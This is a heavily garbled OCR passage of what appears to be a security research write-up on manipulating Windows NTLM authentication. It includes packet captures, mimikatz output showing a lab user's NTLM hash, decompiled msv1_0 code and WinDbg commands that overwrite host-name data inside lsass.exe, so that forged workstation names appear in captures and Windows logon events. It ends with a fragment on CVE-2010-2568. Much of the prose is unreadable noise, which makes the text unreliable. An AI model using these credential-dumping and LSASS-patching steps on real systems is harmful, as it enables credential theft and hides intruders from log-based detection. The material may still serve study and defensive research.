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[ [ntimssp
No. Time Source Destination Protocal  Length Info
23 11.586496 192.168.188.1 192.168.188.128 SMB2 22@ Session Setup Request, NTLMSSP_NEGOTIATE
25 11.768945 192.168.188.128 192.168.188.1 SMB2 481 Session Setup Response, Error: STATUS _MORE PROCESSING REQUIRED, NTLMSSP_CHALLENGE
27 11.773133 192.168.188.1 192.168.188.128 SMB2 165 iSession Setup Request, NTLMSSP AUTH, User: LAPTOP-ETHAN2\Ethan

[

NTLM Secure Service Provider
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (8x@8866803)

> Lan Manager Response:
LMv2 Client Challenge: GGEABEEEE8B88500

» NTLM Response: 7877599a86143955ea83e8T9966b63Ta0101000000000000. .

»| Domain name: LAPTOP-ETHAN2
» |User name: Ethan
» Host name: LAPTOP-ETHANZ

> Session Key: c259797be214f7277761b2e9cf6d3349

¥ Negotiate Flags: @xe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiste Exten

Negotiate 56: Set

Negotiate Key Exchange: Set

Negotiate 128: Set

Negotiate @xleeeeeaa: Not
Negotiate @xeseseeaa: Not
Negotiate @xe4soaeaa: Not

Negotiate Version: Set

Negotiate 8x81088@888: Not
Negotiate Target Info: Set

set
set
set

set

Request Non-NT Session: Not set
Negotiate @x@@2088@8: Not set
Negotiate Identify: Not set
Negotiate Extended Security: Set
- b
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Ynimikatz: x L X F 1 £ PS5 w0 {0 x 7

msv :

(00600003 ] Primary

* Username : Tahat

Domain : LAPTOP-ETHAN2

NTLM : 47bf8039a8506cd67c524a03ff84bade

SHA1 : d2124cab9a30639bdb20822a185264475a693a5481
d2124cab9a30639bdb262a185264475a

X3 " 0" ps NTHASH © «u L x:lx s 14¢9sy | Btruct~ 1 -mfimikatz: 1

Yo4 T A A x5 e X S 1 T H AL LIS, e s s X 4 O AP 4 sl ] x

omain:. /ntlm:

[ I BBe6¢
_md4 null
_md4
_md4
_md4
_md4

null

mimikatz #

Isle L0t 48 1S X oposs L fhs_ xi T x| ox

~ ~ <~ v

[ [mtimssp

Na. Time Source Destination Protocol  Length Info
165 223.713656 192.168.188.1 192.168.188.128 SMB2 228 Session Setup Request, NTLMSSP_NEGOTIATE
166 223.714377 192.168.188.128 192.168.188.1 SMB2 481 Session Setup Response, Error: STATUS MORE_PROCESSING REQUIRED, NTLMSSP_CHALLENGE
167 223.7208587 192.168.188.1 192.168.188.128 SMB2 677 Session Setup Request, NTLMSSP_AUTH, User: .\Tahat

NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (@x86000003)
Lan Manager Response:
LMv2 Client Challenge: 0002222000000000
NTLM Response: dc3@9@85af3e618d37374d4bac2c356fe0101000000000000..
Domain name: .
Host name: LAPTOP-ETHAN2
Session Key: delc7ba9523d7cad447b88e87304bcsShd
~ Negotiate Flags: Bxe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiste Target Info, Negotiate Extend|

. = Negotiate 56: Set

Negotiate Key Exchange: Set
Negotiate 128: Set

Negotiate @x10008808: Not set
Negotiate @x@seaasea: Not set
Negotiate exe4eeseee: Not set
Negotiate Version: Set
Negotiate @x01008808: Not set
Negotiate Target Info: Set
Request Men-NT Session: Not set
Negotiate @x@0200000: Not set
Negotiate Identify: Not set
Negotiate Extended Security: Set
Target Type Share: Not set
Target Type Server: Not set
Target Type Domain: Not set

. = Negotiate Always Sign: Set

@ s 4 T il S dmimikatzx v 4 o0l s v st At s Ldx
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Event 4624, Microsoft Windows security auditing.

General Details

Process Information:
Process |D: 0
Process Mame: -

Metweork Information:

Workstation Mame: LAPTOP-ETHAMNZ
Source Network Address: 192,708,188, 1
Source Port: B04GS

Detailed Authentication Information:
Legon Process: MtLmSsp
Authentication Package: MNTLM

CX G TUX NFLML X« X slex . X G LS4 8 e X s T X s, o x Dl L.

® T Skl lspx ., ;X" LSASS _ : _+_s Winapi

s XL sH X b ko X A s T s s o x ] 4 TIOXD X s X ] A

Closi@s Ty e 4% Hluwdd X p A4 L X@TOVT L 0% F 5 ox 0T
®d_ 1 pss X

@BSRISecurity Support Provider Interface > ¥ 1 s 7 1 «

Security: X s 1T &g d X1 s L L XL L XX f X _ v % XSSP

- ~

L _SSR « x sDLLr 11 ¢ s I Sxso x 1 ¥ x * Qugport Provider/Authentication Package
SSAE _ _ - _Rerberos-» x *3 _ ¥ XX « x {1 Xw 5 4o XX ssxg 4 X8 sX

v~
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Y x %WindireSystem32msvl 0.dbhSSKE = _ - NTLM. x * |

Security Support Provider Interface Architecture

Application NET Application
Internet
Explorer

Remote Pracedure Call NET Framework

Y Y d
Application
Layer

Security Support Provider Interface

SSPI
Layer

SSP SSP SSP SSP SSP SSP SSP

Security Support Provider Layer

x X ] 14« sXx 1 s, x X P HESA*X L e oy s LT Al X XS

$1.0 "1 sy 471 3BSPi4s. |

s " 4! 1"SECPKG_FUNCTION_TABU&R® ¢ _- X {1 S« "Fx

LSRR s x {un ¥
LSASS x -1 4 14_ILB sstructr | 1 *« ¥ « Spksamodeinitialize 1 « « ISA® ~ .~ 'SSR L _

v v

Fer A VR B X s X S e X ¥u b e BSR D Te L X4 T8

~ o~ ~

Y s L X 1 S - 2 s ” 4s . X S

Syntax

C++

SpLsaModeInitializeFn Splsamodeinitializefn;

NTSTATUS Spls einit fn(
[in] ULONG LsaVersion,
[out] PULONG PackageVersion,
[out] PSECPKG_FUNCTION_TABLE *ppTables,
[out] PULONG pcTables

Manipulating NTLM Authenticatio
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¥ S DX« {15 NTLMSSP A
SSPI & NTLMSSP

WOSSRL - X 4« « Xx{ Xss { T 1"

>

The SSPI interface, 8ecurity Support Provider Interfaceais interface proposed by Microsoft to standardize
authentication, regardless of the type of authentication used. Different packages can connect to this interface to
handle different types of authentication.

In our case, it is the NTLMSSP package (NTLNitgesupport Provider) that interests us, but there is also a package
for Kerberos authentication, for example.

Without going into details, the SSPI interface provides several functions,
includingAcquireCredentialsHandltitializeSecurityContex@nd AceptSecurityContext

During NTLM authentication, both the client and the server will use these functions. The steps are only briefly
described here.

1. The client callé\cquireCredentialsHandla order to gain indirect access to the user credentials.

2. The cliemt then calldnitializeSecurityContexa function which, when called for the first time, will create a
message of type 1, thusoftype9 Dh ¢ L! ¢ 9d 2 S (y24 (KA&A 0SOFdzaS 6SQONB Ayii SNI
LINE INI YYSNE Al R2Say QiAll that inaitGNg tayskrd i to the&ksersier. Y S& a1 3Si A a o

3. The server, when receiving the message, callsfiteptSecurityConteftinction. This function will then create
the type 2 message, theHALLENGE.

4. When receiving this message, the client will tatialize curityContexiagain, but this time passing
the CHALLENGE an argument. The NTLMSSP package takes care of everything to compute the response by
encrypting the challenge, and will produce the IA& THENTICARiessage.

5. Upon receiving this last messageetserver also callscceptSecurityContexdgain, and the authentication
verification will be performed automatically.

Ll g d @ 43X g 4T Y Al s I KT s Ny

St s X S 4 sX. o fss. x 48T x xSplhitLsaModeContext 4 « <« [ X s

>

YA _ 4318 ,3x8 4534, 344" s

int64  fastcall SpInitlsaModeContext(
__inte4 al,
int64 a2,
struct BYTE *a3
¥
int a4,
int a5,
int64 a6,

_QWORD *a7,
__inte4 asg,
_DWORD *ad,
__inte4 ale,
struct _RTL_RES0URCE *all,
__inte4 al2)
{
__inte4 v13; J/ rsi
_ inte4 v14; /f r9

» . X 48 Sxxs jpdéx, X LsaFunctions ” s x ¥ o OX 4 TaxT xg o

XN
~ ~ ~ ~

@1 Sk ST X xs”
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Y X structy « 41" - _ Splnitializes 1 - « ¢ % { iLsaFunctions - * <SSR _ ! ¥ 1.
Y.SA_SECPKG_FUNCTION_TABLE

TheLSA_SECPKG_FUNCTION_T#RIdfIre contains pointers to the LSA functions that
asecurity packgecan call. Théocal Security Authoritft SA) passes this structure to a secunty
package when it calls the packag8lsinitializefunction. '

A

¥OUL L Dy astuets e x5

Tf(z ol z *)(__int64))LsaFuncEions->FreePrivateHeap) (v24);
Tf(E oid (Ln 1 *)(WCHAR *))LsaFunctions->FreePrivateHeap)(v267);
Tf(z :.i'ik()gff,.t'all *)(WCHAR *))LsaFunctions->FreePrivateHeap)(v268);
Tf(E id (* )( id))LsaFunctions->FreePrivateHeap)();

IZ(E id ())( »id))LsaFunctions->FreePrivateHeap)();

i

((v **1 (')(-“c))LsaFunctions >FreePrivateHeap)();

if 5 )
((JCld ( )(voxd))LsaFunctions >FreePrivateHeap)();
if (F =R )
NthFreeLsaHeap( AROF_BUFFER);
if ( v2s8
((void (*)(void))LsaFunctions->FreelLsaHeap)();
if ( v23)
if ((v24)
(*(void (__fastcall **)(__int64))(LsaFunctions + 392))(v24);
if ( v267 )
(*(void (__fastcall **)(WCHAR *))(LsaFunctions + 392))(v267);
if ( v268 )
(*(void (__fastcall **)(WCHAR *))(LsaFunctions + 392))(v268);
if ( v297 )
(*(void (**)(void))(LsaFunctions + 392))();
if ( v287 )
(*(void (**)(void))(LsaFunctions + 392))();
if ( v262 )
(*(void (**)(void))(LsaFunctions + 392))();
if ( v2s55 )
(*(void (“)(vcid))(LsaFunctions + 392))();
if ( PUCHAR )
NthFreeLsaHeap( CHAROF_BUFFER);
if ( "-)
(*(void (**)(void))(LsaFunctions + 48))();
1f(': )

TSI S v $.75u {41504 ] T 183 w0 X As, $ 7 xS ] ] ]

~ > v v A

¥A48cd, s

. [ Spr/ronTvar_7oo 1y 15 5 o B oAl T on
mov [rsp+7ABh+ExtCount], rl5 ; _ int64 lea rax, [r8+8]
mov [rsp+7ABh+Ext], rax ; 1nt64 mov rad, [ri2] 3 dnt
mov rax, [rbp+699h+var_68@] mov gword ptr [rsp+7A@h+SystemTime], rax ; _ int64
mov [rbx], rsi mov rax, [rbp+698h+var_6B@]
mov rad, [ri2] 3 int mov [rsp+7ABh+var_758], r8 ; _ int64
mov [rsp+7A@h+FilenameCount], rdi ; _ int64 mov r8d, [rbp+698h+dwSize] ; int
mov [rsp+7A@h+Filename], rax ; struct _UNICODE_STRING *| |mov [rsp+7A8h+var_758], rcx ; _ int64
mov rax, [r12+8] mov rcx, [rbp+698h+var_698]
mov [rsp+7ABh+DirCount], rax ; hMem mov [rsp+7A8h+ExtCount], rdx ; _ int64
call SsprHandleFirstCall lea rdx, [rbp+69@h+var_6C@] ; int
mov rcx, qword ptr [rbp+69@h+var_6F0] mov [rsp+7ABh+Ext], rax ; _ int64
mov [rbp+69@h+var_718], eax mov rax, [rcx+8]
mov rax, [rbx] mov [rsp+7ABh+FilenameCount], rax ; Src
mov qword ptr [rbp+698h+var_6C@], rax mov eax, [rex]
jmp loc_18000E26B mov rcx, qword ptr [rbp+698h+var_6A8] ; int
mov dword ptr [rsp+7A@h+Filename], eax ; Size
mov rax, [r12+8]
mov [rsp+7A8h+DirCount], rax ; void *
call SsprHandleChallengeMessage
mov rcx, qword ptr [rbp+69@h+var_6F0]
mov [rbp+698h+var_718], eax
jmp short loc_18@00E26B
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https://learn.microsoft.com/en-us/windows/desktop/SecGloss/s-gly
https://learn.microsoft.com/en-us/windows/desktop/SecGloss/l-gly
https://learn.microsoft.com/en-us/windows/desktop/api/ntsecpkg/nc-ntsecpkg-spinitializefn

*
o<
- -
X

L S 4474 _ « +sdu X K{s_*  1S3sprHandleChallengeMessagd 1 « 4 i

stringParam = NtLmGlobalOemComputerNameString;
stringParam = (_STRING)NtLmGlobalUnicodeComputerNameString;,

2725 LABEL_8B88:
2726 Hostname = stringParam;

s s’ COx padiemevl O r 4 - % 47

~ ~

X'{_‘I,;S‘I\“:”)X\-)u)’<|_ ~

~ >

msv1_O!NtimGlobalUnicodeComputerNameStridg* ~ B~ & ¢ *s 1 HAstnameat L

@7 s 117488 w1, 880

~ v ~ v

L X K osTox o x 4 |

YSASE 1.« 1 %K XL 4 X xsToxdlxaysX b ]

kd> !process @ @ lsass.exe

PROCESS ffffb60f6157e080
SessionId: @ Cid: ©34c Peb: 2421577000 ParentCid: 92d4
DirBase: 01640002 ObjectTable: ffffa38055b7@e40 HandleCount: 992.
Image: lsass.exe

kd> .process /i ffffb6ef6157e080

You need to continue execution (press ‘g’ <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

kd> g

Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:

fffff803 31e0f240 cc int 3

X Doxx T x " windbgr msvl_O.diL k4L X < Y B ] x

av A

kd> .reload /i msvi_0.d1l

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

Unable to read NT module Base Name string at ©00001b6°blc176f8 - Win32 error ©n3@

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

kd> db msvi_@!NtLmGlobalUnicodeComputerNameString

00007fff  7e500d60 1e 9O 20 90 00 GO 00 ©0-50 f2 4f 7e ff 7f @@ @@ .. ..... P.O~....
00007fff  7e500d70 1e 9O 20 ©0 00 OO ©0 00-d0 ed 4f 7e ff 7f @@ @@ .. ....... i - RN
00007fff  7e500d8@ 70 27 c3 bl b6 ©1 @0 ee-ff ff ff ffee ee ee e p'..............
00007fff 75004090 ©O© 0O 00 90 ©0 OO 90 0P-00 00 GO 00 00 ©0 00 @0 ................
00007fff 7e500da@ ©O© GO 00 O3 ©0 OO ©0 00-a4 03 00 00 00 ©0 00 @0 ................
00007 ff 7e500db0 ©O 9O 00 90 ©0 OO 90 ©0-a8 O3 90 00 00 00 00 @0 ................
00007fff 7e500dc@ ©O GO 00 9O ©0 90 90 0P-00 00 OO 00 00 ©0 00 @0 ................
00007fff  7e500dde ©0© 90 00 ©0 00 00 ©0 00-30 2b c3 bl b6 01 @@ @@ ........ o YT

kd> db msvl_@!NtLmGlobalUnicodeComputerName

00007fff 7e4ff250 44 00 45 00 53 00 4b 00-54 00 4f 00 50 00 2d @@ D.E.S.K.T.0.P.-

00007fff 7e4ff260 55 00 43 @0 30 ©0 4c ©0-4d 00 30 00 38 00 @0 0@ U.C.e.L.M.0.8.

v xTsx o, ] fXxxs | pox « UNIEODE_STRINGstructs xss” & 1 s X x <75 {7
G s x oSt L sd o, ises " Byl _0INtLmGlobalUnicodeComputerName

Y 4 A NTLME: 1L, A

> Aa > o~ v

kd> du msvi_@!NtLmGlobalUnicodeComputerName

00007fff 7e4ff250 "DESKTOP-UCOLMOS"

kd> eu msvi_@!NtLmGlobalUnicodeComputerName "SHABBAT-SHALOM1"
kd> du msvl_@!NtLmGlobalUnicodeComputerName

00007fff 7e4ff250 "“SHABBAT-SHALOM1"
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[l |nﬂmssp
Ma. Time Source Destination Protocol  Length Info
286 1135.128452 192.168.188.128 192.168.188.1 HTTP 341 POST /wsman?PSVersion=5.1.19841.2673 HTTP/1.1 , NTLMSSP_NEGOTIATE
287 1135.134384 192.168.188.1 192.168.188.128 HTTP 488 HTTP/1.1 481 , NTLMSSP_CHALLENGE
295 1135.21@8748 192.168.188.128 192.168.188.1 HTTP 980 iPOST /wsman?PSVersion=5.1.19841.2673 HTTP/1.1 , NTLMSSP_AUTH, Use
> User name: Tahat
> Host name: SHABBAT-SHALOML

A

b oed xnn Iexq7s e x s M xEses { € Tbuyfferie f v X o Xxs T, 0 xS

IO * X AT T4 T 0L T & X P R e

X DX TUAXGPH _x”_*_ IDATT 1Y Gmppettatd{ : _ _ is Ss.:

v o~ ~ ~

T s L ] @ X I:yx><~ xx ‘s“v’i_ X X s+ xs 4 o« 7 sX ES ~_

~>

LIsH A4S

X L _L X X

S

buffer-s I 1 <E6_* 1 1 « ! _OPUCHAR_BUFRERTuUffer. _© X « is s, s X. X s

- buffer- . ox v xos TR T oy X 0 0 T fHpsthamet s 7
WIGL -~ _ X «

.

vX)SL \+S-|

Geppettol

oC + 64) = BxXFORORLRR4A6100RA164;
rAlloc + 88;

(;4:-~ 4)&»w~»5f PLUS_88);
SspContextCopyStr1ng(
(_DWORD)PL
(D “Ru) AROF BUFFER + 44,
(unsxgned 1nt)&Hostname,
k Aw'h~)&
SspContextCopyStrlng(

e JLRA memcpy_@(*micBuffer, PUCHAROF
SspContextCopyStrlng(

( D ARb) SLIC
(_DWORD)PUCH + 52,
(un 1alString,
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s 4 L~* _ x SsprMICHandshakeMessagés{ « « % 4o 7 147 1 LA

b F Jedss v 8Ty oGP XS usis 4 WA 4 % 18 .~ 1. s PUCHAR*BUFFER

Y47 {i" ¥ 4 IMICE: -

SspCoBtexthpyStr

D

eBufferPointer

iég(

n
T

o
T
X
T
T

m
]

—

packaéeBufﬂerCcpy,

pbOutput);

1 NTSTATUS _ fastcall SsprMICHandshakeMessages(
; PUCHAR pb

~ecret,

N

w

nput,

11 BCRYPT_HASH_HANDLE phHash; // [rsp+48h] [rbp-18h] BYREF

13  if ( BCryptCreateHash((BCRYPT_ALG_HANDLE)®x91, &phHash, @i64, @, pbSecret, 0x10u, @) < @ )
14 __fastfail(7u);

15 if ( BCryptHashData(phHash, pbInput, cbInput, @) < @ )

16 _ fastfail(7u);

17 if ( BCryptHashData(phHash, pbInputa, a4, @) < @ )

18 __fastfail(7u);

19 if ( BCryptHashData(phHash, a7, cbInputa, @) < @ )

20 __fastfail(7u);

21 if ( pbOutput && BCryptFinishHash(phHash, pbOutput, @x16u, @) < @ )
22 _ fastfail(7u);

23 return BCryptDestroyHash(phHash);

24 }

Yreakpoints 1 « <« ¥ 4 SOICE: _ 43 1.t~ ¥ x "] Jhooks i X _s L%t

[0x0] msv1_0!SsprMICHandshakeMessages
0x1 msv1_0!SsprHandleChallengeMessage+0x3e85
0x2 msv1_0!SplnitLlsaModeContext+0x9%e9

Breakpoint @ hit
msvl_@!SsprMICHandshakeMessages:
0033:00007ffc" efa38800 48895c2408 mov gword ptr [rsp+8],rbx

lpe SsprMICHandshakeMessages proc near

lp@ pbSecret = qword ptr -38h
lp@ cbSecret = dword ptr -30h
lpe dwFlags = dword ptr -28h
lpeé phHash = qword ptr -18h
lpe arg_© = qword ptr 8
e arg_8 = qword ptr 1@h
lp@ pbInput = qword ptr 28h
lp@ cbInput = dword ptr 30h

arg_3e = qword ptr 38h
|pe pboutpu -
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XL DX LX) TR B, ¢ x> L YQarg 30
TR X« 88O, o SF X o8 sxo x T % s
D47 T A s
Yo Te XX s MIGE S A ko x4 xR I e,

o

1

” ”

~ >

S+ H ¥ - fastcall
RSP ¥ x4+.s Dx38

TUI . OUoT T T TC ol Oo0oO0y o0 FC L0

kd> db (poi[rsp+38]) + Gx43

oo

qWoT o T

[T P TO ;T O~

peees2ed ca47f288 |80 90 90 98 20 08 09 09-00 00 96 80 90 29 88 @9' ................
BeaRe28d” cad7f2938 44 80 45 88 53 68 4b 68-54 88 4f 86 5@ 86 2d 88 D.E.S.K.T.0.P.-.
po@es208d” ca47f2a8 G55 88 43 98 30 0@ 4c 68-4d 68 36 @9 38 €8 54 89 U.C.8.L.M.8.3.T.
peeen2ed cad7f2b8 61 90 68 298 61 08 74 08-44 88 45 88 53 @8 4b 88 a.h.a.t.D.E.S.K.
PeeRe28d” cad7f2c3 G4 80 4f 80 56 68 2d B8-55 688 43 86 38 86 4c 88 T.0.P.-.U.C.B.L.
peees2ed cad7f2d8 4d 98 30 98 38 08 09 09-00 00 90 80 90 20 88 88 M.8.B...........
peees2ed cad7f2e8 00 90 20 298 20 08 09 09-00 60 90 80 80 88 4b B8  .............. K.
poees20d” cad7f2f8 b8 c9 f4 d7 cd 2f £ 2c-b5 1b 82 f4 ab 36 @1 81 ..... figenan. 6. .
F4 1 0x2cr |« <% [rsp+38h]1 Xl " P X 30 et X e T

kd> db (poi[rsp+38]) + 2

000008265 28bBc66Cc |le 00 le 00 30 00 00 0eli1e
00000265 e8bBc67C 35 82 88 e2 Qa 00 61 4a-00
00000265 e3bBCc6SC 00 00 G0 00 00 00 00 00-00
000008265 e8bBc69C 53 @0 4b 00 54 00 Af 00-50
00000265  e8bBc6ac 30 00 4c 00 4d 00 30 00-38
00000265 e8bBc6bc 61 00 74 00 44 9@ 45 00-53
00000265 e8bBc6cc 50 00 2d 08 55 89 43 00-30
00000265 e8bOchdc 38 00 00 00 00 00 00 09-00

20
00
20
00
(%]
e
80
00

10
ao
1%]
2d
54
4b
4c
eoe

00
ef
20
e
e
e
e
e

eb
00

55
61
54
4d
20

e1
o0
e
o0
20
e
ee
oe

oe
e
45
43
68
4f
30
e

00
e
00
e
00
e
00
e

X X

SsprContextCopyStrings 1 « ~ ” pcaps - .xq,

IR

.

X

hostnaémes

Offset:
V Host name:
Length:
Maxlen: 3@
Offset: 128
Vv Session Key: 573e2f@5f26ef6a884a9289b7459c881
Length: 16
Maxlen: 16

118
DESKTOP-UCeLMes
30

20 20
el eo
3a 90
80 45
20 43
20 68
e af

;

;%

s le 00
35 82 88
63 af 59
53 @0 4b
30 00 4c
61 @0 74
50 29 2d

R
o CcOX
o Nm

S8
o2 A
m® o
wnoo

E I

DY ®WVnN WV

e R <

¥ | x s s{ loffsete xxs4 offsets

« . SHi

*

VvV Host name: DESKTOP-UC@LM@8
Length: 3@
Maxlen: 3@
Offset: 128
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. Lo X8 ORB01 . L X v X LT M. X
SRR S T s
SspContextCopyStrmg(
(_DWORD ) PUCHA
(_DWORD YPUCHA
(un;-cned int)&
(__ U
SspContextCopyStrmg(
(_DWORD ) PUCHAR
(_DWORD YPUCHARC
](unsxgned int)&Host
SspContextCopyStrmg(
(_DWORD)PUCHA
(_DWORD)PL
I(unsigned
buffer te
(__int64)&BUFFER_PL
SspContextCopyStrmg(
ORD ) PUCHA
A,RD)PuQr— + 9x34
igned int) Y,
*aﬁw“e
__int64)&BU H
.17 x € s 14 _* _ . x |dffset [r8p#38]HRc +54! *s 1 s k.0 7 X
vos ] . S L R X 0% L , S i« , x [T O R o4 . X « S N
(s XY s XY sy 11 x v 41 x. F 1, X~ F
[Breakpoint @ hit
msvl_©!SsprMICHandshakeMessages:
0033:00007fff 72488800 488952408 mov qword ptr [rsp+8],rbx
kd> db (poi[rsp+38]) + 2c + 4
000001b6" b1c672a0 00 20 20 10 00 10 00-e6 O01 60 90 35 82 88 €2 ............ 5.
1b6°b1c672b0 ©a 00 61 4a 00 OO ©0 OF-00 ©0 00 00 00 00 0@ 0@ ..al............
1b6°b1c672c0 ©0 90 00 20 00 °0 ©0 ©0-44 00 45 00 53 00 4b 0@ ........ D.E.S.K.
1b6°b1c672d0 54 00 4f 00 50 00 2d 00-55 00 43 00 30 00 4c 8@ T.0.P.-.U.C.@.L.
000001b6 b1lc672e0 4d ©0 30 €0 38 00 54 00-61 00 68 00 61 00 74 €0 M.0.8.T.a.h.a.t.
1b6°b1c672f0 44 00 45 00 53 00 4b 00-54 00 4f 00 50 00 2d 8@ D.E.S.K.T.0.P.-.
1b6°b1c67300 55 ©0 43 ©0 30 00 4c 00-4d 00 30 00 38 00 00 €0 U.C.0.L.M.0.8.
000001b6"b1c67310 ©O 60 20 00 00 ©° O 00-00 00 OO 00 ©6 00 PO 8O ................
kd> I_db (poi[rsp+38]) + 80
1b6 b1c672f0 44 ©0 45 00 53 00 4b 00-54 00 4f 00 56 00 2d @@ D.E.S.K.T.O0.P.-
1b6°b1c67300 55 00 43 €0 30 00 4c 00-4d 00 30 90 38 00 €0 €0 U.C.e.L.M.0.8..
1b6 b1c67310 ©O 00 20 00 €0 00 0 00-00 O0 OO 00 €0 00 00 80 ................
1b6°b1c67320 ©O 00 00 @0 00 Pe 70 f5-44 ce 51 f1 bo ©@d aa €8 ...... P-D.Q.cces
1b6°b1c67330 ef 95 55 4f ee ©d ©1 ©1-00 00 €0 00 €0 00 2b f9 ..UO.......... +
1b6°b1c67340 49 d@ bb 36 da @1 b8 3a-d3 6c ©5 93 c3 b7 @@ @@ I..6...:.1......
1b6°b1c67350 ©O 00 ©2 00 1a 00 4c 00-41 00 50 90 54 00 4f €0 ...... L.A.P.T.O.
000001b6° b1c67360 50 00 2d €0 45 P2 54 00-48 00 41 00 4e 00 32 €0 P.-.E.T.H.A.N.2.
kd> eu (poi[rsp+38]) + 80 "SHABBAT-SHALOM2"
kd> db (poi[rsp+38]) + 8@
01b6” b1c672f0 53 00 48 00 41 00 42 00-42 00 41 00 54 00 2d 00 |S.H.A.B.B.A.T.-
1b6°b1c67300 53 ©0 48 €0 41 00 4c 00-4f 00 4d 00 32 00 00 €0 |S.H.A.L.0.M.2..
1b6°b1c67310 ©O 00 20 00 00 OO OO PO-00 OO 0O 0O 00 02 80 8O ................
000001b6 b1c67320 ©O ©0 00 00 00 00 7@ f5-44 ce 51 f1 bo ©d aa €8 ...... p-D.Q.....
1b6°b1c67330 ef 95 55 4f ee ©d ©1 ©01-00 00 00 00 €0 00 2b f9 ..U0.......... +
1b6°b1c67340 49 do bb 36 da 01 b8 3a-d3 6c ©5 93 ¢c3 b7 0@ €0 I..6...:.1l......
1b6°b1c67350 ©0© 00 ©2 00 1a 00 4c 00-41 ©0 50 00 54 00 4f €0 ...... LACP.TL0:
1b6°b1lc67360 506 00 2d €0 45 00 54 00-48 00 41 00 4e 00 32 60 P.-.E.T.H.A.N.2
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s w8 H xR L $ d LA NTLM X © SIS Ax ] . S ] X

X w T8 s "™ 1+ 1 kA

[l ‘nﬂmssp

Na. Time Source Destination Protocal  Length Info
25 13.687569 192.168.188.128 192.168.188.1 HTTP 341 POST /wsman?PSVersion=5.1.19841.2673 HTTP/1.1 , NTLMSSP_NEGO
26 13.613881 192.168.188.1 192.168.188.128 HTTP 480 HTTP/1.1 481 , NTLMSSP_CHALLENGE

+ T8 47.974292 192.168.188.128 192.168.188.1 HTTP

988 POST /wsman?PSVersion=5.1.19841.2673 HTTP/1.1 , NTLMSSP_AUTH

> Domain name: DESKTOP-UC@LM@S
> User name: Tahat
¥ Host name: SHABBAT-SHALOM2

ST xS ™ 0 ]I ] e X e X s XYTX L ISX v, X T X

Metwork Information:

Workstation Mame: SHABBAT-SHALOMZ
Source Metwork Address;  192.168.188.128
Source Port: 49680

:X " hOpkﬁ» L”L‘S('I,SY~XL§X X L

Metwork Information:

Workstation Mame: DESKTOP-UCOLMOS
Source Metwork Address:  192.168.188.128
Source Port: 49674

ﬁ)S‘IXh’_I,,,Sle,“::\5~vv|_|_-|xl_’2(s.)“:|_S-{L|_~-i~X:~{,,, S+ Eoav L

~ v o~ ~ ~ o~ ~

s « « Hooks L XLSASS @ x X xX1.sT | 1y L SSP x ixJl. 3 < X ¥ Abl 4 ¥ L

How 4 X o] s 0 Toex xpsxp e x 3%, H T« S X .ss Xsarelayd o 1 s

FXol A L

v

Xl DX Op®eaS, b LS L I 5 X ¢ s xS
LoXX s X T Dl 0T L TXY Lse0 (S T Y sTSe f, Tae sp DoxpXsg X
L ©oxchooke: XX o e X A X ySeL o kAT v 4 x4
.SsprMICHandshakeMessages

s 1w pxor I N s 1 L o~ x4 L DX
S L xS 4" I 1s s Dox o Dx 0w X 4 4 x " 4 NTLM% Authenticdte + ¥ _
NTLMvZ2Response - « -~ x 7 | "4 ¥ X Hs$x o x s Lo Ix7"

X" UPTH . _x _4_ <~ *iL 4 INTLMHask 1 1%, ],
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L bx 15 PSPy uhogk* , v 43 x4 0 v 4 X7 b 4.1
FSs L 1y L4 N Xopp % "X Xy XX IS XS | | S  { X XSYu {5, (S
Xew b X w0 oy x I A a1 s L UXwxos o L.
I_ ”xS ‘_L~
1L N

Yo o HY X L e T4 E YL DX SN 1% XHIW X3 T A -

https://twitter.com/EthanNevelev

bob.bestofbuild@gmail.com

s %X qd padud .~ _ chackndat x cr 4  Pixish x * b, e, X w1 XS

XX € [ 1S3 vpSq q - ZA\MS{ I w+ SLX M Iv2$§ X Xy

https://en.hackndo.com/ntimrelay/

https://en.hackndo.com/passhe-hash/

¥ X8 X x*NTLM. _RF@
https://learn.microsoft.com/enus/openspecs/windows_protocols/msimp/b38c36ed2804
4868a9ff-8dd318212&4

¥ o« sk sl x o xs]q.ss lsarelad L | s

~

https://github.com/CCob/lIsarelayx

Yoo oxulx loyisdl%ass - X 4 W fBluct S - 4T 8 s
https://learn.microsoft.com/enus/windows/win32/
Y I x «.5% , bluehatt James Forshaw s « « » 38 , @S Y X

https://www.youtube.com/watch?v=YLOr cPIUF8

https://www.praetorian.com/blog/insidemimikatzpart2/
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https://twitter.com/EthanNevelev
https://en.hackndo.com/ntlm-relay/
https://en.hackndo.com/pass-the-hash/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4
https://github.com/CCob/lsarelayx
https://learn.microsoft.com/en-us/windows/win32/
https://www.youtube.com/watch?v=YLOr_cPlUF8
https://www.praetorian.com/blog/inside-mimikatz-part2/
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CVE2010256818 _ L X~1X5« A

Tomer Snuf ~ _

ASY

s L Pd@st Exploitatiort © 1 , _ Lateral Movement x s _ | ¥ 1CGVE20102568s _ L x 1 s

>

HOT M A ™~ 424 oxylss oD s . {Stuxnetd L £S: X _ L xi1]se {58

~

(6] « I8 8T ssx ylIs 87 5, 5% | 4 & 3 L XS XXx | 7T Xs<i {x{€s .

>

Js7ss oL

1, x s aX £ 117w X410 41 x xpExM A 2 4 Stuxnets « € x "Tsx o xs { O s
% ~u4Ltd o x VipusBlokAdar

R A ST L1 S USE s s F
S X ® o Lxd@  ™oxsoXs {4 0s L X xus Y wsp X3 s xs I

XV LS 4D BT % X4 ™S L. 4% Xx _ 4s X ¥ iss_ | yiZeroDay

L S Y sl q4: . WSIL L L8 L Ox P x &,

~ ~

X LoAx3se x| x w5 . muSL X x):~

@ %o xs, LTw LT 4 A 4 4Rl

